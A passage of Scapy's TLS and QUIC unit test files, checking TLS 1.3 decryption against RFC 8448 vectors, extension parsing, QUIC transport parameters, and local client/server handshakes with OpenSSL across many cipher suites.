'server_traffic_secrets' in t.tls_session.tls13_derived_secrets assert len(t.tls_session.tls13_derived_secrets['server_traffic_secrets']) == 1 assert t.tls_session.tls13_derived_secrets['server_traffic_secrets'][0] == server_application_traffic_secret_0 assert 'exporter_secret' in t.tls_session.tls13_derived_secrets assert t.tls_session.tls13_derived_secrets['exporter_secret'] == exporter_master_secret assert 'resumption_secret' in t.tls_session.tls13_derived_secrets assert t.tls_session.tls13_derived_secrets['resumption_secret'] == resumption_master_secret = Decrypt a TLS 1.3 session with a retry - Application traffic keys calculation # Values from RFC8448, section 5 client_ap_traffic_key = clean(""" a7 eb 2a 05 25 eb 43 31 d5 8f cb f9 f7 ca 2e 9c """) client_ap_traffic_iv = clean(""" 86 e8 be 22 7c 1b d2 b3 e3 9c b4 44 """) server_ap_traffic_key = clean(""" f2 7a 5d 97 bd 25 55 0c 48 23 b0 f3 e5 d2 93 88 """) server_ap_traffic_iv = clean(""" 0d d6 31 f7 b7 1c bb c7 97 c3 5f e7 """) assert t.tls_session.rcs.cipher.key == client_ap_traffic_key assert t.tls_session.rcs.cipher.fixed_iv == client_ap_traffic_iv assert t.tls_session.wcs.cipher.key == server_ap_traffic_key assert t.tls_session.wcs.cipher.fixed_iv == server_ap_traffic_iv = Decrypt a TLS 1.3 session with a retry - Decrypt and parse client Alert # Values from RFC8448, section 5 clientEncAlert = clean(""" 17 03 03 00 13 2e a6 cd f7 49 19 60 23 e2 b3 a4 94 91 69 55 36 42 60 47 """) t = TLS13(clientEncAlert, tls_session = t.tls_session) assert t.deciphered_len == 3 assert len(t.inner.msg) == 1 assert t.inner.type == 21 m = t.inner.msg[0] assert isinstance(m, TLSAlert) assert m.level == 1 assert m.descr == 0 = Decrypt a TLS 1.3 session with a retry - Decrypt and parse server Alert # Values from RFC8448, section 5 serverEncAlert = clean(""" 17 03 03 00 13 51 9f c5 07 5c b0 88 43 49 75 9f f9 ef 6f 01 1b b4 c6 f2 """) t = TLS13(serverEncAlert, tls_session = t.tls_session.mirror()) assert t.deciphered_len == 3 assert len(t.inner.msg) == 1 assert t.inner.type == 21 m = t.inner.msg[0] assert isinstance(m, TLSAlert) assert m.level == 1 assert m.descr == 0 # --- Misc = TLS_Ext_EncryptedServerName(), dissect ~ crypto_advanced from scapy.layers.tls.extensions import TLS_Ext_EncryptedServerName clientHello3 = clean(""" 16030102c4010002c003034b1 40e7d15fc8db422cec056fbaf 0285d306df4eedad1bc6ea57d 5114e6bd52a20a5b9c7445955 e296b886469c974648cda0a68 5d3c06d884e388f6475c32e03 2d0024130113031302c02bc02 fcca9cca8c02cc030c00ac009 c013c01400330039002f00350 00a0100025300170000ff0100 0100000a000e000c001d00170 018001901000101000b000201 00002300000010000b0009086 87474702f312e310005000501 000000000033006b0069001d0 02037adee0aacc37b08d47222 caf6a5097a800fcf8406ae118 38f6348294d2dde1200170041 048b127c905d6d487a40b8b19 c99c56aa1a8c208218c178dae 02568547b2ce8f538a530b858 a7a2f608d66e148baa5693d03 c519b45017c63f48c5a4c1238 707bc002b0009080304030303 020301000d001800160403050 3060308040805080604010501 060102030201002d00020101f fce016e1301001d0020912e86 b776ee552a6bb1e2c70d7b467 770b190432237cc743a93091d ce24623500208bc16fdcbbc7c 8756808c94f70464d68297975 f33be90e1a200633f5eb2d4c6 101249e073bff833782e57e88 2519a53ef8bde4c94a7878a2f 8461aec57802440007c7b2dab 986d9bc79257ce00ca6a998b1 fadb0114161069d364ccebae8 dab6c88151f297daeaecfd2e1 a598a486e2efc9561298f8dd5 f35d184f0e87768777d253e68 952b730a24b342fde10df4f8e 82afdc2f10c2481634d92015d 9d5e6a9566494735d9c079115 bdeb0cd019098d1cf847c53ef 4aac41560cacdc7ce166399df 5b0c0af91d5be3f7d8224755a aa6046de52875f9ef9ac15372 7ce08019bc2648beb4b1418cb 4979ff7eaeedaec2b15695508 4d5a480cb939fdc7f00e6cc6f c0f9675276a9d607686c4d779 d4bb7544fb60c7f3079afbc74 61ed67fd55a78c44d6f8d4eaf 386acc17dea11e37a09f63da3 d059243b35f449e891255ac7b 4f631509d7060f001c0002400 1 """) t = TLS(clientHello3) clientESNI = t.msg[0].ext[11] assert isinstance(clientESNI, TLS_Ext_EncryptedServerName) and clientESNI.cipher == 4865 = TLS_Ext_EncryptedServerName(), basic instantiation ~ crypto_advanced esni = TLS_Ext_EncryptedServerName(key_exchange_group=29,encrypted_sni=clean(""" ffce016e1301001d00209 12e86b776ee552a6bb1e2 c70d7b467770b19043223 7cc743a93091dce246235 00208bc16fdcbbc7c8756 808c94f70464d68297975 f33be90e1a200633f5eb2 d4c6101249e073bff8337 82e57e882519a53ef8bde 4c94a7878a2f8461aec57 802440007c7b2dab986d9 bc79257ce00ca6a998b1f adb0114161069d364cceb ae8dab6c88151f297daea ecfd2e1a598a486e2efc9 561298f8dd5f35d184f0e 87768777d253e68952b73 0a24b342fde10df4f8e82 afdc2f10c2481634d9201 5d9d5e6a9566494735d9c 079115bdeb0cd019098d1 cf847c53ef4aac41560ca cdc7ce166399df5b0c0af 91d5be3f7d8224755aaa6 046de52875f9ef9ac1537 27ce08019bc2648beb4b1 418cb4979ff7eaeedaec2 b156955084d5a480cb939 fdc7f00e6cc6fc0f96752 76a9d607686c4d779d4bb 7544fb60c7f3079afbc74 61ed67fd55a78c44d6f8d 4eaf386acc17dea11e37a 09f63da3d059243b35f44 9e891255ac7b4f631509d 7060f """)) assert esni.key_exchange_group == 29 and esni.encrypted_sni==clean(""" ffce016e1301001d00209 12e86b776ee552a6bb1e2 c70d7b467770b19043223 7cc743a93091dce246235 00208bc16fdcbbc7c8756 808c94f70464d68297975 f33be90e1a200633f5eb2 d4c6101249e073bff8337 82e57e882519a53ef8bde 4c94a7878a2f8461aec57 802440007c7b2dab986d9 bc79257ce00ca6a998b1f adb0114161069d364cceb ae8dab6c88151f297daea ecfd2e1a598a486e2efc9 561298f8dd5f35d184f0e 87768777d253e68952b73 0a24b342fde10df4f8e82 afdc2f10c2481634d9201 5d9d5e6a9566494735d9c 079115bdeb0cd019098d1 cf847c53ef4aac41560ca cdc7ce166399df5b0c0af 91d5be3f7d8224755aaa6 046de52875f9ef9ac1537 27ce08019bc2648beb4b1 418cb4979ff7eaeedaec2 b156955084d5a480cb939 fdc7f00e6cc6fc0f96752 76a9d607686c4d779d4bb 7544fb60c7f3079afbc74 61ed67fd55a78c44d6f8d 4eaf386acc17dea11e37a 09f63da3d059243b35f44 9e891255ac7b4f631509d 7060f """) = Create TLS_Ext_KeyShare_CH: compute several algorithms from scapy.layers.tls.keyexchange_tls13 import TLS_Ext_KeyShare_CH, KeyShareEntry # x25519 ch = TLS_Ext_KeyShare_CH(client_shares=[KeyShareEntry(group="x25519")]) ch = TLS_Ext_KeyShare_CH(bytes(ch)) assert ch.len == 38 assert ch.client_shares[0].kxlen == 32 assert len(ch.client_shares[0].key_exchange) == 32 # ffdhe2048 ch = TLS_Ext_KeyShare_CH(client_shares=[KeyShareEntry(group="ffdhe2048")]) ch = TLS_Ext_KeyShare_CH(bytes(ch)) assert ch.len == 262 assert ch.client_shares[0].kxlen == 256 assert len(ch.client_shares[0].key_exchange) == 256 # secp384r1 ch = TLS_Ext_KeyShare_CH(client_shares=[KeyShareEntry(group="secp384r1")]) ch = TLS_Ext_KeyShare_CH(bytes(ch)) assert ch.len == 103 assert ch.client_shares[0].kxlen == 97 assert len(ch.client_shares[0].key_exchange) == 97 = Parse TLS 1.3 Client Hello with non-rfc 5077 ticket from scapy.layers.tls.keyexchange_tls13 import TLS_Ext_PreSharedKey_CH ch = TLS(b'\x16\x03\x01\x01\x1a\x01\x00\x01\x16\x03\x03\xec\x9c>\xb2\x9e|B\x05\x17f\x86\xc8\x18\x0421\x87\x87\x12\xf6\xec\xa2J\x95\x84[\xf8\xab\xe9gK> \xc6%\xff&wn)\xb2\xf5\xe8_x\x96\xe9\nEsK\xda\x86o\x82f\xa5\xbadk\xf4Ar~}\x00\x08\x13\x02\x13\x03\x13\x01\x00\xff\x01\x00\x00\xc5\x00\x0b\x00\x04\x03\x00\x01\x02\x00\n\x00\x16\x00\x14\x00\x1d\x00\x17\x00\x1e\x00\x19\x00\x18\x01\x00\x01\x01\x01\x02\x01\x03\x01\x04\x00#\x00\x00\x00\x16\x00\x00\x00\x17\x00\x00\x00\r\x00\x1e\x00\x1c\x04\x03\x05\x03\x06\x03\x08\x07\x08\x08\x08\t\x08\n\x08\x0b\x08\x04\x08\x05\x08\x06\x04\x01\x05\x01\x06\x01\x00+\x00\x03\x02\x03\x04\x00-\x00\x02\x01\x01\x003\x00&\x00$\x00\x1d\x00 l\x19\xe1f1 )6\xbf\x91\x9e\xab\xd2\x06\x16\x0b|\x88\xf7,\xf1\x88\x99Z\xb6\xb3\x93\xe4\x08z\x8a\t\x00)\x00:\x00\x15\x00\x0fClient_identity\x00\x00\x00\x00\x00! m\xf3^\xc1l\xac5\xf2\xe3=\xeb\xe3\x81\xd3\xb3\xdd\xbd\xbd\x01\xc9\xdd\x01i\x8c1\xa0ye\xcd\x04\x9e\x9c') assert isinstance(ch.msg[0].ext[9], TLS_Ext_PreSharedKey_CH) assert ch.msg[0].ext[9].identities[0].identity.load == b'Client_identity' assert ch.msg[0].ext[9].identities[0].obfuscated_ticket_age == 0 + QUIC Transport Parameters = QUIC Transport Parameters - Parse hex stream ~ quic from scapy.layers.tls.quic import * from scapy.layers.tls.all import TLS13ClientHello, TLS_Ext_QUICTransportParameters ch_data = bytes.fromhex("010001e403034f417babafc5dc240c744225bb09b0c5067618b7501ef4bf7ea73c64249e5d0c000006130213011303010001b50033010c010a00170041048497f2dd89fb1d341b02894edd154ebd5ee5e55594d7935d99d2c05733991cccc9af02200e53bcc80208fa1498c5c88ccf643d598cb05c5fde37a1e468cd593200180061045bff37b0fde67fcfc50b7ab6eb139f51998bdb859632138b30caf96882ef871b27aaf534cce0dcfa157be21343fd6b0db5cc306564f19c46d3c9e175e3dbbb594fe7c393e35de695fc84f64ec4a59ee3cea26a0599a61d6dfc18568fb5c0cb85001d00205af975b0ec59288a578c94890d3264f9ac025ab86f7cd718112da6b923b2e54d001e0038f989efd52e4e8ab64491bfd8b8d30481d854b9394f517148dc8d5a50a43ebbdcca6e4b27229acd2f20b6633632d32e9be6999a40d30561e2002b0003020304000d00140012040308040401050308050501020108070808000a000a000800170018001d001e002d000201010000000e000c00000968332d7365727665720010000500030268330039005301048000ea600404801000000508c0000001000000000608c0000001000000000708c00000010000000008024080090240800a01030b01190e01080f087f317d3033e6423e110c00000001000000016b3343cf") ch = TLS13ClientHello(ch_data) tp = ch.ext[-1] assert isinstance(tp, TLS_Ext_QUICTransportParameters) assert isinstance(tp.params[0], QUIC_TP_MaxIdleTimeout) assert tp.params[0].value == 60000 assert isinstance(tp.params[1], QUIC_TP_InitialMaxData) assert tp.params[1].value == 1048576 assert isinstance(tp.params[2], QUIC_TP_InitialMaxStreamDataBidiLocal) assert tp.params[2].value == 4294967296 assert isinstance(tp.params[3], QUIC_TP_InitialMaxStreamDataBidiRemote) assert tp.params[3].value == 4294967296 assert isinstance(tp.params[4], QUIC_TP_InitialMaxStreamDataUni) assert tp.params[4].value == 4294967296 assert isinstance(tp.params[5], QUIC_TP_InitialMaxStreamsBidi) assert tp.params[5].value == 128 assert isinstance(tp.params[6], QUIC_TP_InitialMaxStreamsUni) assert tp.params[6].value == 128 assert isinstance(tp.params[7], QUIC_TP_AckDelayExponent) assert tp.params[7].value == 3 assert isinstance(tp.params[8], QUIC_TP_MaxAckDelay) assert tp.params[8].value == 25 assert isinstance(tp.params[9], QUIC_TP_ActiveConnectionIdLimit) assert tp.params[9].value == 8 assert isinstance(tp.params[10], QUIC_TP_InitialSourceConnectionId) assert tp.params[10].value == bytes.fromhex("7f317d3033e6423e") = QUIC Transport Parameters - Build packet ~ quic from scapy.layers.tls.quic import * from scapy.layers.tls.all import TLS_Ext_QUICTransportParameters tp = TLS_Ext_QUICTransportParameters(params=[ QUIC_TP_MaxIdleTimeout(value=5000), QUIC_TP_MaxUdpPayloadSize(value=1350), QUIC_TP_InitialMaxData(value=10000000), QUIC_TP_InitialMaxStreamDataBidiLocal(value=1000000), QUIC_TP_InitialMaxStreamDataBidiRemote(value=1000000), QUIC_TP_InitialMaxStreamDataUni(value=1000000), QUIC_TP_InitialMaxStreamsBidi(value=100), QUIC_TP_InitialMaxStreamsUni(value=100), QUIC_TP_AckDelayExponent(value=3), QUIC_TP_MaxAckDelay(value=25), QUIC_TP_DisableActiveMigration(), QUIC_TP_InitialSourceConnectionId(value=bytes.fromhex("2173071905d778f98e367b8ad8eeb526484e8f5d")), ]) actual = tp.build() # the expected data is extracted from the ClientHello above expect = bytes.fromhex("0039004601015388030145460401809896800501800f42400601800f42400701800f424008014064090140640a01030b01190c000f142173071905d778f98e367b8ad8eeb526484e8f5d") assert actual == expect = QUIC Transport Parameters - Build empty packet ~ quic from scapy.layers.tls.all import TLS_Ext_QUICTransportParameters p = TLS_Ext_QUICTransportParameters(params=[]) actual = p.build() assert actual == b'\x009\x00\x00' = QUIC Transport Parameters - Throw error if value is a big integer ~ quic from scapy.layers.tls.quic import QUIC_TP_InitialMaxData # A 62-bit left shift results in an integer of 63 bits p = QUIC_TP_InitialMaxData(value=1<<62) try: p.build() assert False, "QUIC cannot decode integers with more than 62 bits" except struct.error: pass ================================================ FILE: test/scapy/layers/tls/tlsclientserver.uts ================================================ % TLS session establishment tests ~ crypto # More information at http://www.secdev.org/projects/UTscapy/ ############ ############ + Common util functions = Load server util functions import sys, os, re, time, subprocess from queue import Queue import threading from ast import literal_eval import os import sys from contextlib import contextmanager from scapy.autorun import StringWriter from scapy.config import conf from scapy.layers.tls.automaton_srv import TLSServerAutomaton conf.verb = 4 conf.debug_tls = True conf.debug_dissector = 2 load_layer("tls") @contextmanager def captured_output(): old_out, old_err = sys.stdout, sys.stderr new_out, new_err = StringWriter(debug=old_out), StringWriter(debug=old_out) try: sys.stdout, sys.stderr = new_out, new_err yield sys.stdout, sys.stderr finally: sys.stdout, sys.stderr = old_out, old_err def check_output_for_data(out, err, expected_data): errored = err.s.strip() if errored: return (False, errored) output = out.s.strip() if expected_data: expected_data = plain_str(expected_data) print("Testing for output: '%s'" % expected_data) p = re.compile(r"> Received: b?'([^']*)'") for s in p.finditer(output): if s: data = s.group(1) print("Found: %s" % data) if expected_data in data: return (True, data) return (False, output) else: return (False, None) def run_tls_test_server(expected_data, q, curve=None, cookie=False, client_auth=False, psk=None, handle_session_ticket=False, sigalgo="rsa"): correct = False print("Server started !") with captured_output() as (out, err): # Prepare automaton if sigalgo == "rsa": mycert = scapy_path("/test/scapy/layers/tls/pki/srv_cert.pem") mykey = scapy_path("/test/scapy/layers/tls/pki/srv_key.pem") elif sigalgo == "ed25519": mycert = scapy_path("/test/scapy/layers/tls/pki/srv_cert_ed25519.pem") mykey = scapy_path("/test/scapy/layers/tls/pki/srv_key_ed25519.pem") else: raise ValueError print(mykey) print(mycert) assert os.path.exists(mycert) assert os.path.exists(mykey) kwargs = dict() if psk: kwargs["psk"] = psk kwargs["psk_mode"] = "psk_dhe_ke" t = TLSServerAutomaton(mycert=mycert, mykey=mykey, curve=curve, cookie=cookie, client_auth=client_auth, handle_session_ticket=handle_session_ticket, debug=4, **kwargs) # Sync threads q.put(t) # Run server automaton t.run() # Return correct answer res = check_output_for_data(out, err, expected_data) # Return data q.put(res) def wait_tls_test_server_online(): t = time.time() while True: if time.time() - t > 3: raise RuntimeError("Server socket failed to start in time") try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(1) s.connect(("127.0.0.1", 4433)) s.shutdown(socket.SHUT_RDWR) s.close() return except IOError: try: s.close() except: pass time.sleep(0.1) continue def run_openssl_client(msg, suite="", version="", tls13=False, client_auth=False, psk=None, sess_out=None): # Run client CA_f = scapy_path("/test/scapy/layers/tls/pki/ca_cert.pem") mycert = scapy_path("/test/scapy/layers/tls/pki/cli_cert.pem") mykey = scapy_path("/test/scapy/layers/tls/pki/cli_key.pem") args = [ "openssl", "s_client", "-connect", "127.0.0.1:4433", "-debug", "-ciphersuites" if tls13 else "-cipher", suite, version, "-CAfile", CA_f ] if client_auth: args.extend(["-cert", mycert, "-key", mykey]) if psk: args.extend(["-psk", str(psk)]) if sess_out: args.extend(["-sess_out", sess_out]) p = subprocess.Popen( " ".join(args), shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT ) msg += b"\nstop_server\n" out = p.communicate(input=msg)[0] print(plain_str(out)) if p.returncode != 0: raise RuntimeError("OpenSSL returned with error code %s" % p.returncode) else: p = re.compile(br'verify return:(\d+)') _failed = False _one_success = False for match in p.finditer(out): if match.group(1).strip() != b"1": _failed = True break else: _one_success = True break if _failed or not _one_success: raise RuntimeError("OpenSSL returned unexpected values") def test_tls_server(suite="", version="", tls13=False, client_auth=False, psk=None, curve=None, sigalgo="rsa"): msg = ("TestS_%s_data" % suite).encode() # Run server q_ = Queue() th_ = threading.Thread(target=run_tls_test_server, args=(msg, q_), kwargs={"curve": curve, "cookie": False, "client_auth": client_auth, "psk": psk, "sigalgo": sigalgo}, name="test_tls_server %s %s" % (suite, version), daemon=True) th_.start() # Synchronise threads print("Synchronising...") atmtsrv = q_.get(timeout=5) if not atmtsrv: raise RuntimeError("Server hanged on startup") try: wait_tls_test_server_online() except Exception as ex: atmtsrv.stop() raise ex print("Thread synchronised") # Run openssl client run_openssl_client(msg, suite=suite, version=version, tls13=tls13, client_auth=client_auth, psk=psk) # Wait for server ret = q_.get(timeout=5) if not ret: raise RuntimeError("Test timed out") atmtsrv.stop() print(ret) assert ret[0] + TLS server automaton tests ~ server needs_root = Testing TLS server with TLS 1.0 and TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA ~ open_ssl_client test_tls_server("ECDHE-RSA-AES128-SHA", "-tls1") = Testing TLS server with TLS 1.1 and TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA ~ open_ssl_client test_tls_server("ECDHE-RSA-AES128-SHA", "-tls1_1") = Testing TLS server with TLS 1.2 and TLS_DHE_RSA_WITH_AES_128_CBC_SHA256 ~ open_ssl_client test_tls_server("DHE-RSA-AES128-SHA256", "-tls1_2") = Testing TLS server with TLS 1.2 and TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 ~ open_ssl_client test_tls_server("ECDHE-RSA-AES256-GCM-SHA384", "-tls1_2") = Testing TLS server with TLS 1.3 and TLS_AES_256_GCM_SHA384 ~ open_ssl_client test_tls_server("TLS_AES_256_GCM_SHA384", "-tls1_3", tls13=True) = Testing TLS server with TLS 1.3 and TLS_AES_256_GCM_SHA384 with x448 curve (+HelloRetryRequest) ~ open_ssl_client test_tls_server("TLS_AES_256_GCM_SHA384", "-tls1_3", tls13=True, curve="x448") = Testing TLS server with TLS 1.3 and TLS_AES_256_GCM_SHA384 with Ed25519-signed cert ~ open_ssl_client test_tls_server("TLS_AES_256_GCM_SHA384", "-tls1_3", tls13=True, sigalgo="ed25519") = Testing TLS server with TLS 1.3 and TLS_AES_256_GCM_SHA384 and client auth ~ open_ssl_client test_tls_server("TLS_AES_256_GCM_SHA384", "-tls1_3", tls13=True, client_auth=True) = Testing TLS server with TLS 1.3 and ECDHE-PSK-AES256-CBC-SHA384 and PSK ~ open_ssl_client test_tls_server("ECDHE-PSK-AES256-CBC-SHA384", "-tls1_3", tls13=False, psk="1a2b3c4d") + TLS client automaton tests ~ client = Load client utils functions import sys, os, time, threading from scapy.layers.tls.automaton_cli import TLSClientAutomaton from scapy.layers.tls.handshake import TLSClientHello, TLS13ClientHello from queue import Queue send_data = cipher_suite_code = version = None def run_tls_test_client(send_data=None, cipher_suite_code=None, version=None, client_auth=False, key_update=False, stop_server=True, session_ticket_file_out=None, session_ticket_file_in=None): print("Loading client...") mycert = scapy_path("/test/scapy/layers/tls/pki/cli_cert.pem") if client_auth else None mykey = scapy_path("/test/scapy/layers/tls/pki/cli_key.pem") if client_auth else None commands = [send_data] if key_update: commands.append(b"key_update") if stop_server: commands.append(b"stop_server") if session_ticket_file_out: commands.append(b"wait") commands.append(b"quit") if version == "0002": t = TLSClientAutomaton(data=commands, version="sslv2", debug=4, mycert=mycert, mykey=mykey, session_ticket_file_in=session_ticket_file_in, session_ticket_file_out=session_ticket_file_out) elif version == "0304": ch = TLS13ClientHello(ciphers=int(cipher_suite_code, 16)) t = TLSClientAutomaton(client_hello=ch, data=commands, version="tls13", debug=4, mycert=mycert, mykey=mykey, session_ticket_file_in=session_ticket_file_in, session_ticket_file_out=session_ticket_file_out) else: ch = TLSClientHello(version=int(version, 16), ciphers=int(cipher_suite_code, 16)) t = TLSClientAutomaton(client_hello=ch, data=commands, debug=4, mycert=mycert, mykey=mykey, session_ticket_file_in=session_ticket_file_in, session_ticket_file_out=session_ticket_file_out) print("Running client...") t.run() def test_tls_client(suite, version, curve=None, cookie=False, client_auth=False, key_update=False, sess_in_out=False, sigalgo="rsa"): msg = ("TestC_%s_data" % suite).encode() # Run server q_ = Queue() print("Starting server...") th_ = threading.Thread(target=run_tls_test_server, args=(msg, q_), kwargs={"curve": None, "cookie": False, "client_auth": client_auth, "handle_session_ticket": sess_in_out, "sigalgo": sigalgo}, name="test_tls_client %s %s" % (suite, version), daemon=True) th_.start() # Synchronise threads print("Synchronising...") atmtsrv = q_.get(timeout=5) if not atmtsrv: raise RuntimeError("Server hanged on startup") try: wait_tls_test_server_online() except Exception as ex: atmtsrv.stop() raise ex print("Thread synchronised") # Run client if sess_in_out: file_sess = scapy_path("/test/session") run_tls_test_client(msg, suite, version, client_auth, key_update, session_ticket_file_out=file_sess, stop_server=False) run_tls_test_client(msg, suite, version, client_auth, key_update, session_ticket_file_in=file_sess, stop_server=True) else: run_tls_test_client(msg, suite, version, client_auth, key_update) # Wait for server print("Client running, waiting...") ret = q_.get(timeout=5) if not ret: raise RuntimeError("Test timed out") atmtsrv.stop() print(ret) assert ret[0] = Testing TLS server and client with SSLv2 and SSL_CK_DES_192_EDE3_CBC_WITH_MD5 test_tls_client("0700c0", "0002") = Testing TLS server and client with SSLv2 and SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5 test_tls_client("040080", "0002") = Testing TLS client with SSLv3 and TLS_RSA_EXPORT_WITH_RC4_40_MD5 test_tls_client("0003", "0300") = Testing TLS client with TLS 1.0 and TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA test_tls_client("0088", "0301") = Testing TLS client with TLS 1.0 and TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5 test_tls_client("0006", "0301") = Testing TLS client with TLS 1.1 and TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA test_tls_client("c013", "0302") = Testing TLS client with TLS 1.2 and TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 test_tls_client("009e", "0303") = Testing TLS client with TLS 1.2 and TLS_ECDH_anon_WITH_RC4_128_SHA test_tls_client("c016", "0303") = Testing TLS server and client with TLS 1.3 and TLS_AES_128_GCM_SHA256 test_tls_client("1301", "0304") = Testing TLS server and client with TLS 1.3 and TLS_CHACHA20_POLY1305_SHA256 ~ crypto_advanced test_tls_client("1303", "0304") = Testing TLS server and client with TLS 1.3 and TLS_AES_128_CCM_8_SHA256 ~ crypto_advanced test_tls_client("1305", "0304") = Testing TLS server and client with TLS 1.3 and TLS_AES_128_CCM_8_SHA256 and x448 ~ crypto_advanced test_tls_client("1305", "0304", curve="x448") = Testing TLS server and client with TLS 1.3 and a retry ~ crypto_advanced test_tls_client("1302", "0304", curve="secp256r1", cookie=True) = Testing TLS server and client with TLS 1.3 and TLS_AES_128_CCM_8_SHA256 with Ed25519-signed cert ~ open_ssl_client test_tls_client("1305", "0304", sigalgo="ed25519") = Testing TLS server and client with TLS 1.3 and TLS_AES_128_CCM_8_SHA256 and client auth ~ crypto_advanced test_tls_client("1305", "0304", client_auth=True) = Testing TLS server and client with TLS 1.3 and TLS_AES_128_CCM_8_SHA256 and key update ~ crypto_advanced test_tls_client("1305", "0304", key_update=True) = Testing TLS server and client with TLS 1.3 and TLS_AES_128_CCM_8_SHA256 and session resumption ~ crypto_advanced not_pypy test_tls_client("1305", "0304", client_auth=True, sess_in_out=True) = Clear session file file_sess = scapy_path("/test/session") try: os.remove(file_sess) except: pass ############ ############ + TLS client automaton tests against builtin ssl using Post Handshake Authentication ~ client post_handshake_auth = Load native server util functions # Imports import ssl import contextlib import threading load_layer("tls") load_layer("http") # Define PKI root_ca_cert = hex_bytes("0a2d2d2d2d2d424547494e2043455254494649434154452d2d2d2d2d0a4d4949446c7a4343416e2b6741774942416749555664642b794d436278356772635441773335717939337552517841774451594a4b6f5a496876634e4151454c0a42514177577a454c4d416b474131554542684d4351554578436a414942674e564241674d41574578436a414942674e564241634d41574578436a414942674e560a42416f4d41574578436a414942674e564241734d41574578436a414942674e5642414d4d415745784544414f42676b71686b69473977304243514557415745770a4868634e4d6a4d774e5445344d444d7a4d4455305768634e4d7a67774e5445354d444d7a4d445530576a42624d517377435159445651514745774a425154454b0a4d41674741315545434177425954454b4d41674741315545427777425954454b4d41674741315545436777425954454b4d41674741315545437777425954454b0a4d4167474131554541777742595445514d41344743537147534962334451454a4152594259544343415349774451594a4b6f5a496876634e41514542425141440a676745504144434341516f4367674542414a37775a326b6457577a6b6277725838565176743565747a55587737577967664970475038786543483632446979690a354a48546b3352716a6531444362476369566b4b386956746439507852475478764a6a476a49694b686a3545306e304c336542513771466c6567374a6d3147750a507a4154455779456f6a773975513343794c4f76395742374574434e626647476334544f564649635742684e5a5777324e306e37533834546f435a4942366c4e0a4c4c583639646f65684a33372b55457455553159775a4a474d72586a435653502b6f3136436568306c4d466e6553594d6a376c434b49426666525278725765720a354763733577423548574d636d6630626e774471534d78374d566a746f663678506b7570495039526f497977306b324f71516c4543612b4855556451306346590a564a53506d63424b554e6336787254756c346e447136442b6563594f7461754854726c36326e55434177454141614e544d464577485159445652304f424259450a4650786e62526467356a436549742b65556d314342695245583536334d42384741315564497751594d4261414650786e62526467356a436549742b65556d31430a42695245583536334d41384741315564457745422f7751464d414d42416638774451594a4b6f5a496876634e4151454c4251414467674542414876625a7a572b0a767553313239393268774442424a67586938386f426955787459383931556839364e77315876586841685873745338775551643749497a62795251626b6866530a424e6d626f59656e6b6b4272462b37474e696e394630564c516f7a344c67414c566e376c763635414f51554d7357503859694238563841516c6c447a305a2f770a69335a78423631436c50694f4d347a6e4a6a33324263794f50594267456b4a6c695143503854514c68555067504f742f7a4130453873584e56757354563976690a3168356d6e77332f4248572f52524e79496642365938336c5939345a577933754a72514d674352633957344a5076644e564a61494b38694241743258533276740a5665634a4b6942785347474a4564486561774b6a542f5674736b64432b3357696f756430527652716c7745622f4a50686b686553576d4a6b70436545773253720a6e6f64314c4c346b6a574159344c633d0a2d2d2d2d2d454e442043455254494649434154452d2d2d2d2d0a") rsa_cert = hex_bytes("0a2d2d2d2d2d424547494e2043455254494649434154452d2d2d2d2d0a4d494944666a4343416d616741774942416749424154414e42676b71686b69473977304241517346414442624d517377435159445651514745774a425154454b0a4d41674741315545434177425954454b4d41674741315545427777425954454b4d41674741315545436777425954454b4d41674741315545437777425954454b0a4d4167474131554541777742595445514d41344743537147534962334451454a4152594259544165467730794d7a41314d5467774d7a51354d445261467730790a4f4441314d5463774d7a51354d4452614d467378437a414a42674e5642415954416b4a434d516f774341594456515149444146694d516f7743415944565151480a444146694d516f77434159445651514b444146694d516f77434159445651514c444146694d516f774341594456515144444146694d5241774467594a4b6f5a490a6876634e41516b42466746694d494942496a414e42676b71686b6947397730424151454641414f43415138414d49494243674b43415145413647667370784a570a655a366231313741312f6f637668303368706e6e366e6b5064487a5a33387956784b4f586a38505a4f4659794d79676a6546742f625a644a6a4b4179716432520a6c4374397a76716b3067306346336552373756457a626b724b6f7a384e73506757566577496e5933436c5633313367666b4e755955652f73666259303448376f0a5455694a73392f524c383975746a444e742b6d7259544f62426e4c7036734546774a646574426f694e6a623767693631363641763471576c50556d5a5331796b0a69386e385867554e5131535a5a4d4776497a4138556148433034684a556c342f4a5944622f51665551715034316464426d3877677252726b553176384136346b0a6a543344334954766f7234516e4b6b61436a32675853486658306e42636e4a644759572f484a38642f426e2b47714f6b324d5a515636656649722b4f6b5948330a7448575753543271676f6c6930514944415141426f303077537a414a42674e5648524d45416a41414d4230474131556444675157424254754631747a507a557a0a6b726471483838483850443354485269637a416642674e5648534d4547444157674254385a323058594f59776e694c666e6c4a745167596b52462b65747a414e0a42676b71686b6947397730424151734641414f4341514541484278614d6d68744a5035524d306b48595932486952755862635677455a2b6a46745968636252460a53484d32562f59526d55576f324f78666236574c727679482f65703552792f525a4c737261426a4e53495749394774462b3457794c305949482b52436e3235550a35316a34724e587269484d5a6c2f796375686d7456496c754a4f4d6a67572b44684b6b4568726e307a674653537654636c797a6843726653556f52595a7a362b0a474e305a705476486f35512f746d72752f6f6c47695a4271464d30554d4e4f4577444251586c68645964365134313479793574616c2f524f4c424b64595949420a534744696b552b356a75764e613761686e6f726365314c5a6d6d6e332b576530673052792f73362f39555135577339336f39635136335458654775773078674b0a7a496744627a38534948634c2b747559784b68364357636b4f436b67366e564e63616b45554c2f3243674b687a413d3d0a2d2d2d2d2d454e442043455254494649434154452d2d2d2d2d0a") rsa_key = 